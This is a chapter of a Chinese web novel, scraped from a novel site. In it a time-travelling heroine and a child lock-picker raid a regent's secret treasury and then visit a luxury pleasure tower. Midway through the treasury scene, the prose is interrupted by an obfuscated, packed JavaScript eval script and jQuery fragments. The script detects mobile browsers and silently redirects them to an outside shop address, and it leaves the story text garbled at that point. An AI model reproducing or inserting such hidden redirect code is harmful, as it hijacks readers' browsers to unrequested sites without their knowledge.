文趣网 > 玄幻小说 > 穿越废柴女警,拿捏冷面摄政王 > 31. 窃私库赴天香楼
    怀夕刚换好寝衣,正要上床歇息,玉漱忽然慌慌张张闯了进来,不由分说便给她披上一件披风。

    “侧妃,快随奴婢来!”

    “慢点慢点,怎得如此慌张?”

    怀夕一头雾水,便被她拉到了浴房。

    只见青葵正坐在浴桶之中,惜羽也立在一旁。

    “到底怎么了?”

    惜羽与玉漱脸上皆是惊色,齐齐指向青葵后背。

    怀夕凑近一看,也吓了一跳。

    那小丫头的背上,竟浮现出纵横交错、诡谲异常的纹路。

    玉漱磕磕巴巴道,

    “一开始也没有,一沾热水就显了出来,实在怪异。”

    怀夕凝神细看,那纹路蜿蜒起伏,竟似一幅山河地形图。

    惜羽满脸茫然,

    “这……这是什么?”

    怀夕轻轻摇头,

    “不知。瞧着倒像是某处地形图。

    今夜已晚,先给她擦洗干净安置好,明日我将图拓下,再细细研究。”

    夜色深沉。

    穆长风踏着月色策马而归,暖玉阁下人们早已歇息了。

    玉漱过来应了门,吓了一跳,“王爷!怎么此时来了?”

    穆长风披着一身寒气,低声道,

    “回来瞧瞧你家主子!她睡的可安稳!”

    玉漱点点头,心道:你回来了,怕是安稳不了。

    果然睡相安稳,乖如孩童。

    穆长风坐在床边,不禁附身轻吻她一下。

    怀夕迷蒙间感到一团冰凉靠近,和着沉水香的气息。

    “你回来了?”

    他轻手轻脚换了寝衣,上床便将怀夕紧紧揽入怀中。

    怀夕困得眼皮都抬不起来,半睁半阖,迷迷糊糊呢喃道:“怎的未宿在军营?”

    “实在想你。”

    他语声低哑,俯首轻轻吻上她的耳垂。

    “后日花灯节,男子皆要为心爱女子备上礼物。你想要何物?”

    一提礼物,怀夕瞬间清醒。

    刚把他九千余两巨款扔水里,连个响儿都没听到。

    她尴尬地扯扯嘴角,勉强挤出一抹笑,

    “不必了,有你陪着便好。”

    穆长风低笑出声,轻刮她鼻尖,

    “这话倒说得懂事,有出息的都不像你了!”

    “嘿嘿,人总是要长大的。”

    长大总要付出些代价!

    譬如……九千两!怀夕心好痛。

    下意识搂紧他的腰,将脸埋得更深。

    她忽然这般亲昵,穆长风身子微颤,再难克制,翻身便覆了上去,深深吻住她。

    天边未亮,他便已起身赶回军营。

    怀夕浑身酸软,如散了架一般,直睡到日上三竿才悠悠转醒。

    玉漱和惜羽早已等在门外,听见动静就冲了进来。

    “侧妃,何时画呀?”

    怀夕勉强撑着身子起身,低哼一声,

    “哎呦!”

    腰酸得像要断了,昨夜那人实在太过折腾。

    从来到走,一夜未眠。

    玉漱与惜羽见状,心里顿时了然,忍不住哈哈笑出声。

    “王爷已疯魔了。军营据咱们王府近百余里,他连夜赶个来回,怕是马都要累死了!

    王爷如今,可是离不开你!”

    正闲聊间,惜羽惊呼,

    “哎呀,小丫头还在桶里泡着!”

    几人急急跑去浴房,小青葵正乖乖坐在浴桶里玩水。

    “你们也太心急了,何须如此用水泡她,图已在我心里,一会儿用过饭,自会画出来!”

    怀夕记忆力实在惊人,不过一柱香功夫,已把那副诡异的图画完。

    惜羽拿着比对,毫无二致。

    “侧妃,你真乃神人也!”

    众人都很是佩服。

    再看小青葵,怀夕随手扔给她的九连环、鲁班锁等机巧之物,她通通拆解开,堆在一处。

    “这才是真神人!”

    怀夕迅速把往日系的那些高难度绳结扔给她。

    小丫头两三下就全解开了。

    众人看的目瞪口呆。

    怀夕突然哈哈大笑起来,

    “九千两,没打水漂,我买到宝了,早晚赚回来!”

    玉漱叹气道,

    “这丫头,哪儿都好,就有一点不好!”

    她把怀夕带到下人房里,翻开小青葵的被子。

    稀里哗啦掉出一大堆东西。

    各色首饰、好吃的糕饼、好看的木梳……

    都是暖玉阁众人的东西,也难为她何时下的手。

    五花八门攒了一堆,像个囤积过冬的小田鼠。

    怀夕摇摇头。

    “她师傅是神偷,平日教她的自然都不是正路子。你看她都这么大了,大字不识一个,连话都说不明白,多可怜!以后咱们多疼疼她,这些小玩意就送她玩吧,她年纪小,咱们慢慢教导!”

    她想起“鬼手王”临死前给她的铃铛,一串不会响的铃铛。

    去取了系在小青葵手腕上。毕竟是老人留给她唯一的物事,弄丢了可不好。

    花灯节很快到了。

    怀夕私房钱全花光了,只能打穆长风私库的主意。

    “小青葵,帮个忙!”

    摄政王府的私库,藏在他的书房。

    怀夕早跟穆长风旁敲侧击地打听过了。

    两人溜进去,小青葵深谙此道,很快发现了一道隐密的机关锁。

    只见她手速如电,机关锁如她手中玩具,很快就拆开了。

    怀夕一脸佩服,举起拇指:“果然一手绝活儿!九千两一点不亏!”

    书架突然撤开,露出一间隐密暗室。

    里面烟尘四起,蛛网遍布。一看便知许久不曾有人来过。

    一进门,迎面便是整面整面的紫檀木架,从上到下,层层叠叠,摆满奇珍。

    左侧是金银。

    码得整整齐齐的木箱,装满了金银珠宝,一箱箱摞得极高。

    右侧陈列着名贵药材。

    百年人参、灵芝、血竭等各种保命奇药,皆用锦盒盛装,分门别类,井然有序。

    旁边还摆着神兵暗器,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530792|202394||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    古玩字画,还有封存的密档卷宗,皆由丝绒覆盖,一看便是价值连城。

    地面铺着青石,通风干燥,无半分尘杂。

    穆长风真是富可敌国呀!

    这是他厮杀多年换的底气,也是整个王府最隐秘、最富有的地方。

    说不定里面也有阿蛮家的钱。

    毕竟王朝更迭,也是财富的交接。

    怀夕两人看呆了。

    逛了两圈,小丫头身上已经装的鼓鼓囊囊。

    怀夕忍俊不禁,笑着拍她一把,

    “快送回原位,人家有账册的!”

    小青葵撅起嘴,一一掏出来放回去。

    “嗯,孩子虽然手脏,但胜在听话。”

    怀夕安慰自己。

    取了金子,俩人又偷偷溜走。一气呵成,书房安静的像从未有人涉足。

    军营里,辞安一早来报。

    “侧妃从私库拿走了一万两,还带着那个小女娃!”

    穆长风扶额叹息,

    “自己干些偷鸡摸狗的事倒罢了,还要带坏小孩儿!”

    辞安摇头正色道,

    “爷,那可并非普通小孩儿。

    私库的锁就是她开的。

    那锁可是玄铁打造的机关锁,她竟三两下就拆开了!也不知侧妃从哪里捡到如此厉害的小孩儿!”

    “竟有如此之能!”

    穆长风也很惊讶,无奈道,

    “少管吧,只做不知!管的多了她就要闹起来!”

    袁平匆匆而来,“侧妃出门了?”

    “几个人?”

    “她一人!”

    穆长风瞬间气恼,

    “胡闹!”

    带了那么多银子出门,不知要闯何祸事!

    他吩咐:“辞安去跟上!”

    顿了顿,又道,

    “跟远些。要是没危险,别扫了她雅兴!”

    天香楼乃京中第一销金窟,也是全城最高楼阁。

    楼内包罗万象。

    青楼楚馆、茶肆赌坊、珍馐酒馆、奇宝阁肆,一应俱全。

    异国美人轻歌曼舞,贵胄权臣把酒言欢。

    丝竹管弦彻夜不绝,当真是人间极乐销魂地。

    入天香楼,必要先行验资,足额上缴一千两押金,方可放行入门,若无财力,连楼前台阶都近不得半分。

    怀夕规规矩矩交了押金。

    穆王府常年在天香楼有押金,辞安亮了下腰牌就进去了。

    此楼果然繁华不似人间,怀夕看的眼花缭乱,笑的合不拢嘴。

    逛了一会儿,时辰不早了,她不敢耽搁,直奔楼顶。

    每三层就有人全副武装把守,怀夕亮了玉佩。

    竟然一路畅通无阻,值守者恭敬行礼:“姑娘慢走,注意脚下!”

    这玉佩的主人,看来在这楼里极有身份。

    辞安却惨了。

    里面进不得,只能踩楼外檐脊腾挪而上。他本就不如苏茗轻功好,累的气息不稳。

    登上顶层,一个红衫女引她走到最里间。

    “羽公子,客人到了!”